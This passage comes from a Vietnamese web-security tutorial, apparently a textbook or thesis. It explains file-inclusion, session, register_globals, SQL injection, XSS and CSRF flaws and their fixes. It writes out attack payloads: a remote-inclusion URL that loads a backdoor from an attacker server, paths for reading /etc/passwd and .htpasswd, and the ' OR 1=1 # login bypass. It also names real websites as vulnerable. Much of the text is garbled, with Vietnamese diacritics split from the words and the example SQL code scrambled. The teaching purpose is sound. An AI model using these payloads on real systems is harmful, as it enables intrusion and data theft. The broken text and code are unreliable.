âm thầm (không ầm ĩ như những trường hợp deface trang web) nhưng gây tổn thất rất lớn

về tài chính Do những tấn công dạng này thường âm thầm, nên các DN không thể chủ quan rằng họ chưa bị hacker viếng thăm vì trang web của họ không bị defaced Những tấn công nguy hiểm nhất chính là những xâm nhập không để lại dấu vết rõ ràng cho nạn nhân nhận biết là mình đã bị xâm nhập Nhóm DN NH và tài chính là những mục tiêu chính của những kiểu tấn công này

Xu hướng bảo mật mới

Các bạn có thể nghĩ xem, tổn thất sẽ là bao nhiêu nếu hacker xâm nhập vào hệ thống mạng nội bộ của DN (đặc biệt là NH) mà không bị phát hiện và ngăn chặn kịp thời? Những tấn công này chỉ có thể được phát hiện (và phòng tránh) khi DN có hệ thống quản

lý an ninh thông tin toàn diện và nghiêm ngặt, kết hợp với thiết bị an ninh phù hợp cùng với quy trình và nhóm nhân viên phụ trách an ninh thông tin được đào tạo nghiêm túc Những tấn công nguy hiểm nhất chính

là những xâm nhập không để lại dấu

vết rõ ràng cho nạn nhân nhận biết là

mình đã bị xâm nhập.

Trang 20

Theo quan sát của tôi, hầu hết DN chỉ chú trọng đầu tư về các công nghệ bảo mật như tường lửa và anti-virus Như đã nhắc đến ở trên, để đạt được an ninh tốt trong DN, cần phải kết hợp giữa công nghệ, quy trình và con người Chỉ riêng công nghệ không thể cung cấp cho ta mức độ an ninh thỏa mãn trong môi trường toàn cầu hiện nay Hãy xem

ví dụ về thiết bị phát hiện xâm nhập (IDS) và thiết bị phòng chống xâm nhập (IPS) Những thiết bị này sẽ không mang lại hiệu quả tốt trừ phi chúng được cấu hình thích đáng và có quy trình theo dõi phù hợp Chính vì thế, ban lãnh đạo cần có nhận thức đúng

về những rủi ro và mối đe dọa an ninh thông tin và phân bổ tài nguyên phù hợp (đào tạo

về con người và chi phí cho thiết bị) để tích hợp những quy trình an ninh tại DN của mình

Trong kỷ nguyên Internet hiện nay, cần phải quan tâm nhiều hơn đến phát triển ứng dụng web theo cách thức bảo mật Điều này có thể đạt được thông qua vòng đời phát triển PM theo cách thức bảo mật (Secure Software Development Life-Cycle) Theo đó, yêu cầu về

an ninh thông tin được xác định ngay từ đầu và những lập trình viên phải được đào tạo về lập trình bảo mật Tích hợp tính năng an ninh ngay từ giai đoạn phát triển sẽ tiết kiệm chi phí của sản phẩm PM Hãy lấy xe ôtô làm ví dụ sản xuất xe ô tô gắn sẵn túi khí an toàn sẽ

an toàn và chi phí thấp hơn là sản xuất hoàn tất chiếc xe xong rồi mới gắn túi khí sau An ninh không còn là một tùy chọn của các lập trình viên và thiết kế PM, mà nó bắt buộc phải được kết hợp vào trong thiết kế và mô tả kỹ thuật của PM ứng dụng ngay từ lúc bắt đầu

CHƯƠNG 2 : CÁC LỖI BẢO MẬT WEBSITE HIỆN NAY.

Ngày nay, s đe d a l n nh t đ i v i an ninh c a các m ng máy tính c a các t ch c l i đ n t chính các ự ọ ớ ấ ố ớ ủ ạ ủ ổ ứ ạ ế ừ Website công c ng và các ng d ng đ t trên các web c a h Không gi ng nh các d ch v dùng trong ộ ứ ụ ặ ở ủ ọ ố ư ị ụ

m ng c c b nh là các c s d li u có th ngăn c n s truy c p t bên ngoài thông qua firewalls, thì ạ ụ ộ ư ơ ở ữ ệ ể ả ự ậ ừ

m i ng ọ ườ ề i đ u có th truy c p vào m t trang web công c ng,khi n cho các ng d ng b o m t g p nhi u ể ậ ộ ộ ế ứ ụ ả ậ ặ ề

v n đ Khi mà các h th ng m ng đang tr nên kiên c h n, các file có kh năng b o m t th p trong các ấ ề ệ ố ạ ở ố ơ ả ả ậ ấ

ng d ng web càng thu hút đ c s chú ý c a các hacker, bao g m c nh ng ng i ch mu n tiêu khi n

và c nh ng tên tr m, nh ng k luôn có các công ngh đ đ khai thác các l h ng đó Vi c t n công này ả ữ ộ ữ ẻ ệ ủ ể ỗ ổ ệ ấ

có th gây các nguy h i đ n cho các h th ng m ng ể ạ ế ệ ố ạ

Đã có m t vài ph n m m và m t s ng ộ ầ ề ộ ố ườ i phát tri n đ ể ượ c đào t o đ t o ra các ph n m m b o m t hay ạ ể ạ ầ ề ả ậ thi t k các ng d ng web có kh năng t b o v cao B ng cách "baking in" an ninh c a các ng d ng ế ế ứ ụ ả ự ả ệ ằ ủ ứ ụ ngay t đ u quá trình phát tri n thay cho "brush it on" sau khi đã hoàn thành, b n s d dàng t o ra các ừ ầ ể ạ ẽ ễ ạ

ng d ng b o m t có th ch ng l i s t n công c a hackers Tuy nhiên, ngay c nh ng mã ngu n b o

m t đ ậ ượ c vi t t m nh t trên C# hay VB.NET v n có th b nguy h i n u b n không quan tâm đ n các ế ỉ ỷ ấ ẫ ể ị ạ ế ạ ế file c u hình trong Web.config c a ng d ng Các ng d ng m ng c b n đ ấ ủ ứ ụ ứ ụ ạ ơ ả ượ c c u hình không h p lý có ấ ợ

th b nguy hi m gi ng nh đ ể ị ể ố ư ượ c code không chính xác Các v n đ còn t i t h n, khi mà nhi u thi t l p ấ ề ồ ệ ơ ề ế ậ

c u hình hi n nay th ấ ệ ườ ng đ ể default và khi đó các giá tr th ị ườ ng là không an toàn đây chúng ta s nói v nh ng l i hay t i t nh t trong file c u hình có th gây h i đ n cho các ng

d ng c a chúng ta ụ ủ

2.1 Lỗi trong xử lý Files

•Lỗi trong xử lý file chúng ta thường gặp trong lập trình PHP, ASP , CGI , v…v…

•Lỗi này gây ra do lập trình viên đã sơ ý trong việc sử dụng các hàm xử lý file như :

Trang 21

Lỗi trong xử lý Files

Lỗi trong xử lý Files

Hacker có thể tấn công vào như sau: http://victim.com/ibf/sources/Admin/ad_member.php?IN[code]=doform&root_path=http://myserver/

Hacker có thể chạy script PHP nằm trong file sources/lib/post_parser.php trên

http://myserver (remote server) Script trong file này có thể là script backdoor, chiếm quyền admin , leo thang chiếm server , deface v v…

• Ngoài ra, Hacker còn có thể tận dụng các lỗi trong việc xử lý file để có thể đọc source hoặc đọc các file hệ thống.

Ví dụ : Hacker có thể đọc source của trang web : http://interhacker.org chỉ bằng một cách rất đơn giản là gõ URL: http://interhacker.org/cc/?cclib= /index.php

Trang 22

Lỗi này do người lập trình Web đã xử lý không cẩn thận những tham số của hàm

fopen(…),… tạo điều kiện cho hacker có thể xem source v v…

Không những thế hacker còn có thể sử dụng các lỗi này để đọc các file quan trọng của server như /etc/passwd , /etc/domainalias …

Các lỗi về file như thế này đặc biệt nguy hiểm đối với các server bảo mật lỏng lẻo.

•Những lỗi trong xử lý file này không những chỉ trên PHP mà còn lỗi trên CGI, ASP , …

•Example: (Chưa hoàn thành xong phần)

•Lỗi này là một trong những lỗi cơ bản nhưng nó đã gây ra không ít những khó khăn , thiệt hại cho các chủ Website, server v v…

•Tại Việt Nam , đã có rất nhiều server , website bị hack bởi lỗi này Điển hình như:

•Lỗi này do người viết code không chú ý hay có thể do sai sót trong việc khai báo hoặc

xử lý biến mà các hacker có thể lợi dụng để tấn công

•Rất nhiều Website : Shoping Cart , Mua bán Domain ,… bị mắc lỗi này trong 1 số khâu quan trọng mà các hacker có thể lợi dụng để gian lận tiền bạc trong giao dịch hay mua bán bất hợp pháp , ……

Thiệt hại do việc tấn công sẽ không nhỏ và còn làm mất uy tín của người lập trình viên

Chúng ta sẽ phân tích một số lỗi để thấy được sự nguy hiểm của lỗi này (tất cả các lỗi nêu

ra đều đã được fix)

2.2 Lỗi trong khai báo và xử lý biến

www.truongthi.com.vn:

Bạn có thể access dễ dàng vào Control panel của trang Web trường thi mà trong đó chứa

Trang 23

rất nhiều thông tin về account ( 1260, prepaid) , thông tin về Card Trường thi chỉ bằng cách gõ URL:

Lỗi trong khai báo và xử lý biến

Domain cửa registerfly Khi push domain từ tài khoản của mình sang tài khoản của người khác trên adress url : push.php?push=0

•Biến push=0 nghĩa là chuyển domain của mình sang người khác , vì registerfly sơ xuất các hacker đã thay đổi giá trị push=1 trên Url ngẫu nhiên chuyển ngược lại domain của người khác sang tài khoản của mình , đây là biến push do registerfly định nghĩa 1 cách chưa cẩn thận , cho phép các tài khoản khác thay đổi giá trị biến mà không được phép

2.3 Lỗi Session trong enom và register :Đây là lỗi tương đối nguy hiểm khi ngườI viết

code không chú ý đến biến cần xét hoặc không mã hóa session id cho 1 member dẫn đến

có thể access vào user qua secssion id

Ví dụ : trong 1 trang thông tin : các thành viên được xác đinh bằng session id , khi 1 người sửa thông tin về mình trên address: http://victim.com/profile.php?id=43 Người đó sửa id=54 lập tức sang sửa được Information của người khác Nguyên nhân là do người viết code chỉ chú ý đến thành viên đó có id=43 chứ chưa quan tâm đến các yếu tố khác như username.

Thậm chí mặc dù id được mã hoá md5 : http://victim.com/profile.php?

id=432hjhfjsd87fs5435fgg4545 Các hacker có thể đoán được số id rồi mà hoá md5 id đó để

ID.Hacker có thể buter force để lấy được session Id

•Ibf forum 1.2 RC 1 : Hiện nay phiên bản mới nhất của Ibf là 1.2 RC 2 nhưng phiên bản 1.2 RC 1 vẫn rất nhiều người sử dụng Ở phiên bản này , Hacker có thể dễ dàng đột nhập vào cơ sở dữ liệu lấy password của Admin ( Mặc dù đã được mã hoá nhưng vẫn có thể sử dụng được - Cướp quyền Admin )

Trang 24

[left]$ibforums->input['name'] = $std

->clean_value(trim(urldecode(stripslashes($ibforums->input['name']))));

if ($ibforums->input['name'] == "")

{

$ibforums->input['name_box'] = 'all';

}

=====================[/left]

Trước khi được xử lý biến $ibforums->input[‘name’] có giá trị là %27….Sau khi xử lý

biến này có giá trị là ‘… Hacker lợi dụng lỗi này để tấn công và lấy password admin

•Đây là một lỗi rất nguy hiểm.

•Rất nhiều Website của Việt Nam bị lỗi này như:

Thông tin

http://kenhsinhvien.net/@forum/links.php?url=http://www.tuyensinh.vdc.com.vn/http://kenhsinhvien.net/@forum/links.php?url=http://www.vietel.com.vn/

Các biến toàn cục(Global Variables)

Biến là một phần của ngôn ngữ lập trình Trong PHP, bạn có thể sử dụng register_globals trong file php.ini để khởi tạo các biến toàn cục – những biến mà bạn không cần phải tạo

Trang 25

7 }echo "Lots of important stuff.";

Đoạn mã trên nhìn có vẻ ổn và trên thực tế là nó sẽ hoạt động tốt, không phát sinh lỗi bảo mật gì trong trường hợp bình thường Tuy nhiên, nếu máy chủ được cấp quyền

register_globals = on và một chuỗi ?authorized=1 được đặt trên URL thì nó lại là

chuyện khác Trong trường hợp này, biến $authorized lúc này sẽ có giá trị 1 và cho

phép bất kì ai sử dụng đoạn URL này vượt và hàng rào mật khẩu và truy cập vào khu vực cần sử dụng mật khẩu.

Lỗi này khá phổ biến trong các ứng dụng lập trình bằng PHP.

May mắn thay, việc khắc phục lỗi này khá đơn giản Đầu tiên, việc bạn có thể làm là tắt register_globals đi và khởi tạo một cách chính xác giá trị cho biến $authorized bằng cách thêm $authorized = 0 vào đầu đoạn mã như sau:

hệ thống, các thông tin từ cây thư mục, thông tin kết nối database, thông tin user đến thông tin password…

Cách tốt nhất để bảo mật là bạn nên tắt Error Messages khi cho website chạy trực tuyến bằng cách thiết lập error_reporting về 0 trong file php.ini hoặc bằng htaccess Nếu bạn đang thực hiện việc xây dựng website bạn có thể thay đổi giá trị này để việc kiểm tra các lỗi dễ dàng hơn.

2.4 Lỗi SQL injection biến

Một trong những thế mạnh của PHP là khả năng liên lạc dễ dàng với cơ sở dữ liệu, nhất

là MySQL Tuy nhiên, điều này cũng tiềm ẩn nhiều nguy cơ bảo mật mà hay gặp nhất là

Trang 26

SQL Injection – người dùng sử dụng một lỗi bảo mật nào đó để truy vấn trực tiếp vào cơ

sở dữ liệu của bạn và lấy các thông tin cần thiết.

Chúng ta hãy bắt đầu việc phân tích lỗi này bằng một truy vấn kiểm tra đăng nhập (đây là phần được rất nhiều website thực hiện):

?

[Copy to clipboard] View Code PHP

1 $checkWHERE Username = '"mysql_query.($_POST"SELECT Username, Password, UserLevel FROM Users ['username'] "' and Password = '"

$_POST['password'] "'")

Nhìn có vẻ ổn ? Và thực tế nó sẽ làm việc tốt khi cần kiểm tra thông tin người đăng nhập

có hợp lệ hay không Nhưng một hôm nào đó, tôi nhập vào trường username thông tin sau

' OR 1=1 #

Lúc này câu truy vẫn sẽ được thay đổi thành:

?

[Copy to clipboard] View Code PHP

1 SELECT UsernamePassword = '' , Password FROM Users WHERE Username = '' OR 1 1 #' and

Ký tự thăng (#) cho lệnh truy vấn sẽ xác định đoạn phía sau nó là một đoạn ghi chú (comment) và sẽ bỏ qua Lúc này, câu truy vấn sẽ thực hiện đến đoạn trước dấu thăng (#)

mà thôi 1 thì luôn luôn bằng 1 đúng không Và như vậy, hacker dễ dàng vượt qua vòng kiểm tra mật khẩu :( Chỉ cần biết thêm username của một quản trị viên nào đó nữa

là có thể đăng nhập dễ dàng.

Bằng một chút sáng tạo của mình, hacker có thể khai thác tiếp rất nhiều thông tin của người quản trị này như thông tin thẻ tín dụng, địa chỉ email hay có thể chiếm quyền quản trị website để khai thác thông tin người dùng.

May quá, lỗi này có thể được vô hiệu hóa dễ dàng bằng cách kiểm tra các dấu nháy (‘) do người dùng nhập và vô hiệu hóa chúng bằng hàm sau (hoặc bạn có thể viết thêm để kiểm tra kĩ càng hơn):

$variable mysql_real_escape_string(trim($variable));

Trang 27

2

3

$username make_safe($_POST['username']);

$password make_safe($_POST['password']);

$check mysql_query("SELECT Username, Password, UserLevel FROM Users WHERE Username = '".$username."' and Password = '".$password."'")

Bây giờ, các dữ liệu độc hại ở trên được vô hiệu hóa trước khi thực hiện lệnh truy vấn Lúc này dữ liệu nhập vào được sửa thành “\ ‘OR 1 = 1 #” trước khi thực hiện truy vấn.

?

[Copy to clipboard] View Code PHP

1 SELECT Username1 1 #' and Password = '', Password, UserLevel FROM Users WHERE Username = '' OR

Bây giờ, trừ khi trong cơ sở dữ liệu của bạn chứa 1 dòng dữ liệu đặc biệt nào đó mà hacker có thể không cần đăng nhập Nếu không, chúng ta không cần phải lo.

Khai thác tập tin

Một số trang web chạy đoạn URL như thế này:

?

[Copy to clipboard] View Code PHP

1 index.php?page=contactus.html

Với trường hợp này, thông thường mục đích của lập trình viên là chạy đoạn mã được lưu trong file contactus.html trong file index.php Chuyện gì sẽ xảy ra nếu người dùng thay thế contactus.html thành một trang nào đó ? Ví dụ, nếu bạn đang sử dụng Apache ‘s mod_auth để bảo vệ các tập tin và có lưu mật khẩu của bạn trong một tập tin có tên “ htpasswd” (tên gọi thông thường), sau đó nếu người dùng đã truy cập vào địa chỉ sau, script sẽ ra tên người dùng của bạn và mật khẩu:

?

[Copy to clipboard] View Code PHP

1 index.php?page=.htpasswd

Tệ hại hơn, họ có thể chạy tập tin trên hosting của họ trên website của bạn để khai thác thông tin.

• Hiện nay lỗi SQL injection là một trong những lỗi cực kì nguy hiểm

• Hacker có thể sử dụng lỗi này để tấn công vào cơ sở dữ liệu của Website hoặc tấn công vào cả server

• Hacker có thể ăn cắp , cập nhật thông tin hoặc upload file để hack server.

• Rất nhiều Website trong nước và quốc tế bị lỗi này.

•Một số site bị lỗi này như:

Thông tin

http://kenhsinhvien.net/@forum/links.php?url=http://www.support.vnn.vn/

Trang 28

mà có thể được truy cập bằng cách sử dụng mã này, bạn sẽ tiết kiệm cho mình rất nhiều

tình tiết tăng nặng sau đó.

Sử dụng các giá trị mặc định

MySQL sử dụng tài khoản mặc định là root và mật khẩu rỗng, SQL Server sử dụng tài

khoản ‘sa’ để đăng nhập với mật khẩu rỗng Nếu hacker tìm được địa chỉ máy chủ của

bạn thì đây chính là những thông tin đăng nhập đầu tiên mà họ cố gắng khai thác Do đó, bạn nên xóa hoặc thay đổi nó đi.

Để tập tin cài đặt (install)

Nhiều mã nguồn PHP đi kèm với những tập tin cài đặt (nhất là với các mã nguồn mở)

Nhiều trường hợp sau khi cài đặt bạn lại quên xóa nó đi Thông thường, các mã nguồn sẽ gửi cảnh báo cho bạn nếu bạn chưa xóa tập tin cài đặt nhưng cũng có những mã nguồn

không làm việc đó Nếu bạn không xóa tập tin này đi, một ngày đẹp trời nào đó hacker có thể lợi dụng việc này để cài đặt lại hệ thống và chép đè toàn bộ cơ sở dữ liệu của bạn

Lúc đó bạn sẽ ôm hận dài dài prr

Ngăn ngừa khả năng dự đoán

Website của bạn có chút “số má” sẽ kéo theo những người tò mò muốn phá hoại Điểm

đầu tiên họ muốn tìm đến là thư mục quản trị hệ thống của bạn Thông thường, họ sẽ tìm đến với các thư mục có thên ‘admin’ hoặc ‘administrator’, ‘admincp’…

Đặt tên thực mục quản trị như vậy nghĩa là bạn đang đặt website của mình trước con mắt

tò mò và nâng cao mức độ nguy hiểm cả website Hãy tưởng tượng với tên

?

1 http://www.yoursite.com/jsfh8sfsifuhsi8392

thì hacker sẽ mò ra tên thư mục quản trị của bạn dễ dàng hay không ?

Trang 29

Trong trường hợp việc tìm kiếm thư mục gặp khó khăn, bạn sẽ ngăn chặn được phần nào khả năng bị tấn công của mình.

Trường hợp tương tự cho user và password đơn giản cũng có thể giúp hacker dễ dàng dự đoán ra.

Cuối cùng, hãy chắn chắn những thông điệp bạn đưa ra khi có lỗi xảy ra được kiểm soát chặt chẽ Đừng đưa các thông điệp như ‘Tên người dùng không tồn tại’ hoặc ‘mật khẩu không chính xác với tên đăng nhập này’ Một hacker tinh ý sẽ dễ dàng dự đoán được user

và mật khẩu đăng nhập hợp lệ dựa vào những thông báo loại này.

Cuối cùng, không có gì là hoàn hảo

Nếu bạn cho rằng khả năng lập trình của bạn là hoàn hảo và website của bạn không thể bị tấn công thì đó là sai lầm lớn nhất Lập trình viên là người sống chung với lỗi, do đó bạn phải luôn cẩn thận và chuẩn bị cho những tình huống xấu nhất có thể

Một số phương pháp cơ bản bảo mật trong lập trình Web

• Xử lý biến là một trong những phương pháp quan trọng trong lập trình để có thể bảo mật thật tốt cho Website của bạn

• Xử lý biến có nhiều giai đoạn khá phức tạp nhưng không thể không làm vì nếu bạn không xử lý biến cẩn thận sẽ gây ra hậu quả rất nặng nề

• Các hacker sẽ không thể làm gì website của bạn ( trừ khi hack server hoặc domain) nếu bạn kiểm tra và xử lý biến một cách cẩn thận

• Chống SQL injection: Đối với Website nào sử dụng database cũng vậy , bạn cần phải chú trọng đến việc chống SQL injection.

Bạn nên làm theo các bước như sau:

Một số phương pháp xử lý biến

- Thay thế tất cả các dấu ‘ thành ‘’ hoặc xoá tất cả dấu ‘đi

- Xoá các dấu đặc biệt trong SQL như , ; , …

Trong PHP , dấu ‘ sẽ được chuyển thành dấu \’ , về cơ bản thì nó không gây nguy hiểm đối với mySQL nhưng đối với những loại khác như oracle, v v… thì cách chuyển này không hiệu quả , nên bạn hãy chú ý để tránh lỗi.

• Chống các lỗi về file: Để chống các lỗi về file bạn nên thực hiện các bứơc như sau: -Thay thế tất cả các dấu / thành kí tự khác

Trang 30

như <,>,….

- Ngoài ra, những kí tự như: ;,:,//,… bạn nên xoá bỏ hoặc thay thế thanh mã hex của nó

Logging

• Logging là một kĩ thuật bảo mật khá đơn giản nhưng hiệu quả.

• Bạn nên log lại những thông tin về lỗi trên Website , rất có thể lỗi đó rất nguy hiểm có thể ảnh hưởng đến Website của bạn

• Bạn có thể chỉ cần bỏ thời gian viết những đoạn script logging đơn giản để có thể log lại những hoạt động bất hợp pháp trên Website của bạn

• Sử dụng error_log() ( PHP ) , Err (ASP ), … là bạn có thể log lại bất cứ các err nào trên Website của bạn.

• Hiện nay , hầu như tất cả các Website lớn đều đặt Logging …

2.5 L i Code Injection (Cross-Site Scripting)

Không gi ng nh SQL Injection d a vào vi c s d ng các kí t đ c bi t đ ki m soát câu truyố ư ự ệ ử ụ ự ặ ệ ể ể

v n, Cross-Site Scripting d a vào các l i trong quá trình xu t d li u Nói m t cách đ n gi nấ ự ỗ ấ ữ ệ ộ ơ ả

h n, Code Injection d a vào các l i trong quá trình output d li u đ chèn các đo n mã HTMLơ ự ỗ ữ ệ ể ạ

có h i lên website c a b n khi nó hi n th cho ngạ ủ ạ ể ị ười dùng

L y m t ví d đ n gi n, trong m t form đăng ký thành viên Ngấ ộ ụ ơ ả ộ ười dùng s đang ký m tẽ ộ username và m t m t kh u cùng nh ng thông tin có liên quan đ tr thành thành viên N uộ ậ ẩ ữ ể ở ế

b n không ki m soát đ dài c a m t username, k t n công có th đi n vào ph n thông tinạ ể ộ ủ ộ ẻ ấ ể ề ầusername nh sau: ư

B t kì ai khi xem website có ch a username c a ngấ ứ ủ ười dùng này ch th y đỉ ấ ược UsernameABC,

nh ng đo n javascript có h i đư ạ ạ ược chèn vào s âm th m ch y cùng lúc và th c hi n nh ngẽ ầ ạ ự ệ ữ thao tác có h i cho ngạ ười dùng

Có nhi u vi c đ gây h i cho b n nh chèn m t đo n mã khiêu dâm, l y cookie hay thêm vàoề ệ ể ạ ạ ư ộ ạ ấ

đó m t ộ phần mềm keylogger…

Có nhi u cách đ kh c ph c vi c này Trề ể ắ ụ ệ ước tiên b n có th mã hóa HTML cho thông tin này.ạ ể

Ho c b n có th lo i các đo n mã HTML trặ ạ ể ạ ạ ước khi l u, gi i h n các kí t đ c bi t trong tênư ớ ạ ự ặ ệ

người dùng…

M t cách khác, b n có th gi i h n ký t cho tên ngộ ạ ể ớ ạ ự ười dùng M t s website ch cho phépộ ố ỉ

người dùng nh p thông tin d ng ch và s , các kí t đ t bi t và các tag HTML không đậ ạ ữ ố ự ặ ệ ược chophép đ đăng ký… ể

Rõ ràng, đây chúng ta ch xét trong trở ỉ ường h p trợ ường d li u Username, các trữ ệ ường h pợ khác (nh n i dung bài vi t) chúng ta đã b qua Tuy nhiên, đi u đó không có nghĩa là nóư ộ ế ỏ ềkhông x y ra đ i v i các trả ố ớ ường d li u khác Tùy theo t ng trữ ệ ừ ường h p chúng ta có m t cáchợ ộ

x lý thích h p ử ợ

2.6 Cross-Site Request Forgery (CSRF)

M c dù có tên g n gi ng nh ng CSRF không gi ng nh XSS đã nói trên CSRF là hình th c sặ ầ ố ư ố ư ở ứ ử

d ng ch ng th c thông tin(authenticate) c a m t ngụ ứ ự ủ ộ ười khác đ th c hi n m t hành đ ng c aể ự ệ ộ ộ ủ mình trên website (d a vào quy n c a ngự ề ủ ười khác)

Chúng ta gi đ nh r ng Jack có m t tài kho n t i ngân hàng nào đó và login vào tài kho n c aả ị ằ ộ ả ạ ả ủ mình anh ta có th th c hi n để ự ệ ược các giao tác c a mình nh chuy n ti n ho c ki m tra tàiủ ư ể ề ặ ểkho n, t i các trang thông tin cá nhân M i l n anh ta th c hi n giao tác v i máy ch ngânả ả ỗ ầ ự ệ ớ ủhàng, cookie đượ ư ạc l u l i và ch ng th c là Jack là ngứ ự ườ ử ụi s d ng ch c năng này ứ

Bill là m t ngộ ười khác và s d ng m t website khác, nh ng Jack có s d ng website c a Bill vàử ụ ộ ư ử ụ ủ

Trang 31

Bill nhân c h i này thu th p các cookie c a Jack M t trong các trang web c a Bill có g i m tơ ộ ậ ủ ộ ủ ử ộ yêu c u đ n h th ng ngân hàng đầ ế ệ ố ược Jack s d ng thông qua m t iframe Gi đ nh r ngử ụ ộ ả ị ằ iframe đượ ảc t i lên th c hi n m t l nh chuy n ti n t tài kho n c a Jack sang tài kho n c aự ệ ộ ệ ể ề ừ ả ủ ả ủ Bill B i vì l nh chuy n ti n đở ệ ể ề ược g i t máy tính c a Jack và ngân hàng nh n đử ừ ủ ậ ược cookie từ Jack (b i vì Jack đã login vào h th ng c a ngân hàng và đang m trang web c a Bill) Do đó,ở ệ ố ủ ở ủngân hàng ghi nh n l nh chuy n ti n là do Jack th c hi n và ch p nh n giao d ch đó nh m tậ ệ ể ề ự ệ ấ ậ ị ư ộ giao d ch h p l và ti n đị ợ ệ ề ược chuy n đ n tài kho n c a Bill ể ế ả ủ

Lo i t n công ki u này c c kì nguy hi m và h u nh r t khó phòng b Là m t nhà phát tri nạ ấ ể ự ể ầ ư ấ ị ộ ể web, công vi c c a b n là tìm cách ngăn ch n lo i t n công này Lúc này, b n hãy nh Qui lu tệ ủ ạ ặ ạ ấ ạ ớ ậ 1: Đ ng bao gi tin vào ngừ ờ ười dùng mà tôi đã nói đ n ph n 1 ế ở ầ

Trong PHP, b n có th d dàng qu n lý và ch ng l i l i CFRS thông qua thói quen ạ ể ễ ả ố ạ ỗ l p trình Không bao gi cho phép ngờ ười dùng làm b t c đi u gì quan tr ng v i m t yêu c u _GET, hãyấ ứ ề ọ ớ ộ ầ

s d ng _POST Các hành đ ng quan tr ng c n đử ụ ộ ọ ầ ược xác nh n l i c a ngậ ạ ủ ười dùng thông qua

m t trang web riêng có 2 nút “Đ ng ý” và “H y l nh” riêng bi t B n có th trình bày URL g cộ ồ ủ ệ ệ ạ ể ố

g i yêu c u đ ngử ầ ể ười dùng bi t r ng l nh đó xu t phát t đâu, th c hi n tính năng gì đ h đế ằ ệ ấ ừ ự ệ ể ọ ề phòng và xác nh n n u h mu n chuy n ậ ế ọ ố ể

B n cũng có th phá b IFrame đ đ phòng nh ng giao d ch b t h p phát xu t phát t vi cạ ể ỏ ể ề ữ ị ấ ợ ấ ừ ệ chèn Iframe vào website khác b ng đo n l nh sau: ằ ạ ệ

Đi u ch nh th i gian timeout c a Session cũng là m t vi c b n nên làm (nên thi t l p theo phút,ề ỉ ờ ủ ộ ệ ạ ế ậ

đ ng thi t l p theo gi – quá lâu) Khuy n khích ngừ ế ậ ờ ế ười dùng logout sau khi ho t hoàn t t cácạ ấthao tác trên website c a b n cũng là m t vi c c n thi t Ngoài ra, b n cũng nên ki m tra bi nủ ạ ộ ệ ầ ế ạ ể ế môi trường HTTP_REFERER(b n có th th c hi n ng m) N u HTTP_REFERER g i l nh khôngạ ể ự ệ ầ ế ử ệ

xu t phát t tên mi n c a b n, b n có th nghĩ đ n trấ ừ ề ủ ạ ạ ể ế ường h p b t n công CFRS ợ ị ấ

Mã hóa kí t ự

Nên có m t b kí t mã hóa riêng cho website c a b n và c s d li u N u m t yêu c u g iộ ộ ự ủ ạ ơ ở ữ ệ ế ộ ầ ử

t m t website khác đ n website b n, nó không th trùng v i thông tin đừ ộ ế ạ ể ớ ược mã hóa gi ng nhố ư trên website b n và b n có th t ch i x lý yêu c u này ạ ạ ể ừ ố ử ầ

Ví d , b n có th t ch i m t yêu c u x lý (ví d upload file lên server ch ng h n) n u b mãụ ạ ể ừ ố ộ ầ ử ụ ẳ ạ ế ộhóa charactor không tương ng v i website (HTTP request headers, d li u, PHP’s defaultứ ớ ữ ệencoding, PHP MySQL module, MySQL’s default set, thi t l p charset c a m i table s d ng…) ế ậ ủ ỗ ử ụ

Nh ng nhà phát tri n website s d ng ti ng Anh thữ ể ử ụ ế ường ít quan tâm đ n b charset (vì ti ngế ộ ế Anh không có d u) Cũng b i nguyên nhân này nên nhi u ngấ ở ề ười trong s h thố ọ ường khôngquan tâm đ n b mã kí t và d n đ n s mù m ho c đ x y ra l i đáng ti c Tuy nhiên, cácế ộ ự ẫ ế ự ờ ặ ể ả ỗ ế

b mã kí t là m t ph n c b n c a các ng d ng web Ti ng Anh có th hi n th b t kì đâuộ ự ộ ầ ơ ả ủ ứ ụ ế ể ể ị ở ấ

nh ng nh ng th ti ng khác (Ti ng Vi t ch ng h n ) ch a ch c có th hi n th t t các b mãư ữ ứ ế ế ệ ẳ ạ ư ắ ể ể ị ố ở ộkhác Hai b mã thộ ường được các nhà phát tri n s d ng là ể ử ụ ISO-8859-1 và UTF-8, ngoài ra còn

có UCS-2, UTF-16 ho c ặ windows-1252

Tuy nhiên, ngay c khi có 2 b mã khác nhau, PHP cũng có th đ ng hóa chúng đ có th đ aả ộ ể ồ ể ể ư vào c s d li u bình thơ ở ữ ệ ường và đi u này làm cho vi c ki m tra b mã quan tr ng h n đ i v iề ệ ể ộ ọ ơ ố ớ

b o m t ả ậ

Chuyên gia b o m t Chris Shiflett đã vi t v v n đ này khá kĩ Trong đó, anh ta đã đ a kèmả ậ ế ề ấ ề ư

m t ví d v vi c t n công SQL Injection ngay c khi b n đã x lý d li u đ u vào b ngộ ụ ề ệ ấ ả ạ ử ữ ệ ầ ằ

addslashes() mà tôi đã nói đ n trong ph n l i SQL Injection ph n trế ầ ỗ ở ầ ước

Trang 32

Gi i pháp là luôn luôn s d ng hàm mysql_real_escape_string() thay cho addslashes() Lý tả ử ụ ưở ng

nh t, hãy s d ng cùng m t b thi t l p kí t trên toàn b h th ng website c a b n (t t nh tấ ử ụ ộ ộ ế ậ ự ộ ệ ố ủ ạ ố ấ

là s d ng UTF-8), n i nào PHP cho phép b n ch đ nh mã hóa d li u (ử ụ ơ ạ ỉ ị ữ ệ htmlspecialchars() ho cặ htmlentities()) – hãy s d ng nó.ử ụ

2.7 lỗi Custom Errors Disabled

ASP.NET s đ a ra m t b n thông báo chi ti t các l i t i ng ẽ ư ộ ả ế ỗ ớ ườ i dùng khi b n vô hi u các l i đã đ ạ ệ ỗ ượ c m c ặ

đ nh nh d ị ư ướ i đây:

